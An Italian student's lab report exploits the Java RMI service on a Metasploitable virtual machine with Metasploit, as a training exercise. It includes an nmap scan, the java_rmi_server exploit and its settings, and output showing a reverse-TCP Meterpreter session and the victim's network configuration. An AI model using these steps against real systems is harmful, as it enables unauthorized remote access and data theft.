



Progetto S7L5 10-11 Alessandro Moscetti

Traccia

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI.

Si richiede allo studente di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

- La macchina attaccante (KALI) deve avere il seguente indirizzo IP: 192.168.11.111
- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: 192.168.11.112
- Scansione della macchina con nmap per evidenziare la vulnerabilità.
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:
 - 1) configurazione di rete ;
 - 2) informazioni sulla tabella di routing della macchina vittima.

Sostituzione indirizzi IP

```
GNU nano 7.2
# This file describes the network int
# and how to activate them. For more

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0

iface eth0 inet static
address 192.168.11.111/24
gateway 192.168.11.1
```

Kali

```
auto eth0
iface eth0 inet static
address 192.168.11.112
netmask 255.255.255.0
network 192.168.11.0
broadcast 192.168.11.255
gateway 192.168.11.1
```

Metasploitable

Spiegazione protocollo interessato

Il protocollo Java RMI (Remote Method Invocation) è un protocollo di comunicazione usato in Java per permettere la comunicazione di oggetti sulla rete.

In poche parole permette agli oggetti Java di richiamare metodi situati in un altro dispositivo come se fossero in locale, facilitando lo sviluppo di applicazioni distribuite.

Scansione

Per prima cosa siamo andati ad effettuare una scansione sulla macchina target tramite il tool 'nmap'.

Utilizzando il flag '-A' effettuiamo una scansione aggressiva verso il target, andando a vedere praticamente tutte le informazioni disponibili della macchina target come i servizi attivi sulle porte, con la relativa versione, e il sistema operativo in uso.

In questo caso ci interessa il servizio attivo sulla porta 1099 con il protocollo Java-rmi, perchè sappiamo dell'esistenza di vulnerabilità note.

```
(kali@kali)-[~]
$ sudo nmap -A 192.168.11.112
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-10 10:08 CET
Nmap scan report for 192.168.11.112
Host is up (0.0015s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
| ftp-syst:
|   STAT:
|   FTP server status:
|     Connected to 192.168.11.111
|     Logged in as ftp
|     TYPE: ASCII
|     No session bandwidth limit
|     Session timeout in seconds is 300
|     Control connection is plain text
|     Data connections will be plain text
|     vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|   2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
|_smtp_commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ET
53/tcp    open  domain       ISC BIND 9.4.2
| dns-nsid:
|_ bind.version: 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http_title: Metasploitable2 - Linux
|_http_server_header: Apache/2.2.8 (Ubuntu) DAV/2
111/tcp   open  rpcbind      2 (RPC #100000)
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  DDtB         Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
| mysql-info:
```

Approfondimento scansione

In questo caso supponiamo che il nostro pen test sia effettuato in white box perchè siamo all'interno della rete e siamo a conoscenza dell'IP della macchina target.

Il tipo di scansione utilizzata non sarebbe possibile in molti casi perchè è molto 'rumorosa' e soprattutto creerebbe molta latenza, in una situazione reale potrebbe anche far andare in down la rete.


Nei casi in cui la rete non permettesse di eseguirla sarebbe possibile procedere utilizzando più scansioni meno aggressive come la 'stealth'(-sS) e più mirate specificando IP o porte interessate.



Spiegazione exploit

Un exploit serve per creare un varco in un dispositivo target sfruttando una vulnerabilità già presente nel codice di un determinato servizio/software all'interno del target; a differenza di un malware che ha bisogno di un installazione.

Dopo aver creato il varco si va ad iniettare un payload che può servire per diversi scopi come: creare una shell nel target, eseguire del codice o creare una connessione con dei privilegi amministrativi sul sistema operativo della vittima.



Ricerca exploit

```
msf6 > search java_rmi

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -             -      -      -
0  auxiliary/gather/java_rmi_registry        2011-10-15      normal No     Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server        2011-10-15      excellent Yes    Java RMI Server Insecure Default Configuration Java Code Execution
2  auxiliary/scanner/misc/java_rmi_server    2011-10-15      normal No     Java RMI Server Insecure Endpoint Code Execution Scanner
3  exploit/multi/browser/java_rmi_connection_impl 2010-03-31      excellent No     Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl
```

1

```
msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > 
```

2

Andiamo ad aprire 'metasploit' (framework open-source usato per il penetration testing) tramite il comando 'msfconsole', procediamo alla ricerca dell' exploit tramite il comando 'search' seguito dal servizio desiderato (fig. 1).

Andiamo poi a selezionare l'exploit desiderato tramite il comando 'use' (fig. 2) seguito o dal numero della riga della tabella della fig. 1 oppure con il path dell'exploit.

In questo caso andiamo ad utilizzare l'exploit della riga 1 perchè va ad attaccare il server Java RMI sfruttando una vulnerabilità riguardante la configurazione di default dello stesso.

Payload

Riprendiamo la fig. 2 precedente per analizzare il payload.

Come vediamo dalla seconda riga 'metasploit' ci configura di default un payload e in questo caso è perfetto perchè come notiamo dal path va ad installare una shell meterpeter tramite una connessione reverse tcp.

Questo tipo di connessione è ottima perchè parte dal dispositivo target verso di noi, bypassando un ipotetico firewall a filtraggio dinamico.

Se avessi voluto scegliere un altro payload avrei usato il comando 'show payloads' e lo sarei andato a selezionare tramite il comando 'set payload' seguito dal path del payload scelto.

```
msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > 
```

Approfondimento Meterpreter

Meterpreter è una shell avanzata, versatile e multiplatforma che offre un ampio spettro di funzionalità, consentendo a un potenziale attaccante di infiltrarsi in modo non autorizzato nel dispositivo target. Una volta compromesso, Meterpreter consente di eseguire varie operazioni avanzate, aprendo la strada a un accesso completo verso la rete obiettivo.

Configurazione exploit

Per utilizzare l'exploit vanno configurate alcune opzioni obbligatorie.

Per visualizzare le opzioni utilizziamo il comando 'show options', quelle obbligatorie per il funzionamento si distinguono dal campo 'Yes' sotto la colonna 'Required'.

Nel nostro caso l'unica mancante era 'rhosts' che andiamo a settare tramite il comando 'set' seguito dal nome dell'opzione mancante e il valore che vogliamo inserire.

```
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                                                                              |
|-----------|-----------------|----------|----------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for a response                                                       |
| RHOSTS    |                 | yes      | The target host(s), see https://www.metasploit.com/docs/using-the-framework/046-using-the-framework.html |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                    |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to bind to                                                           |
| SRVPORT   | 8080            | yes      | The local port to listen on                                                                              |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                   |
| SSLCert   |                 | no       | Path to a custom SSL certificate                                                                         |
| URIPATH   |                 | no       | The URI to use for this exploit                                                                          |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |



View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
```

Esecuzione exploit

Andiamo poi ad eseguire l'attacco tramite il comando 'exploit'.

Come vediamo dall'immagine è andato a buon fine aprendoci una sessione Meterpreter sulla macchina vittima.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/FrAgbkB
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:45170) at 2023-11-10 10:21:18 +0100

meterpreter > █
```

Prima evidenza

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : 2a0e:418:9c53:0:a00:27ff:fee6:335f
IPv6 Netmask : ::
IPv6 Address : fdd7:23:5c01:2030:a00:27ff:fee6:335f
IPv6 Netmask : ::
IPv6 Address : fe80::a00:27ff:fee6:335f
IPv6 Netmask : ::
```

Configurazione di rete macchina Metasploitable

Seconda evidenza

```
meterpreter > route

IPv4 network routes
=====
```

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

```


IPv6 network routes
=====
```

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
2a0e:418:9c53:0:a00:27ff:fee6:335f	::	::		
fdd7:23:5c01:2030:a00:27ff:fee6:335f	::	::		
fe80::a00:27ff:fee6:335f	::	::		

Informazioni sulla tabella di routing
della macchina Metasploitable

Conclusione

La vulnerabilità in Java RMI e l'installazione di Meterpreter sulla macchina target presentano rischi significativi. Questi rischi includono:

- **Accesso completo al sistema:** Chiunque sfrutti questa vulnerabilità ottiene accesso completo al computer bersaglio, con la capacità di controllare ogni aspetto del sistema.
- **Esplorazione della rete:** L'attaccante può esplorare la rete aziendale attraverso il dispositivo compromesso, individuando altri dispositivi e possibili punti di vulnerabilità.
- **Raccolta di informazioni sensibili:** Meterpreter consente di raccogliere informazioni sensibili dal sistema come credenziali di accesso.
- **Installazione di malware:** L'attaccante potrebbe installare software dannoso aggiuntivo sul sistema, aumentando ulteriormente i rischi di sicurezza.
- **Mantenimento dell'accesso:** Con la configurazione appropriata Meterpreter può mantenere un accesso non autorizzato anche dopo eventuali riavvii del sistema.



Grazie per l'attenzione.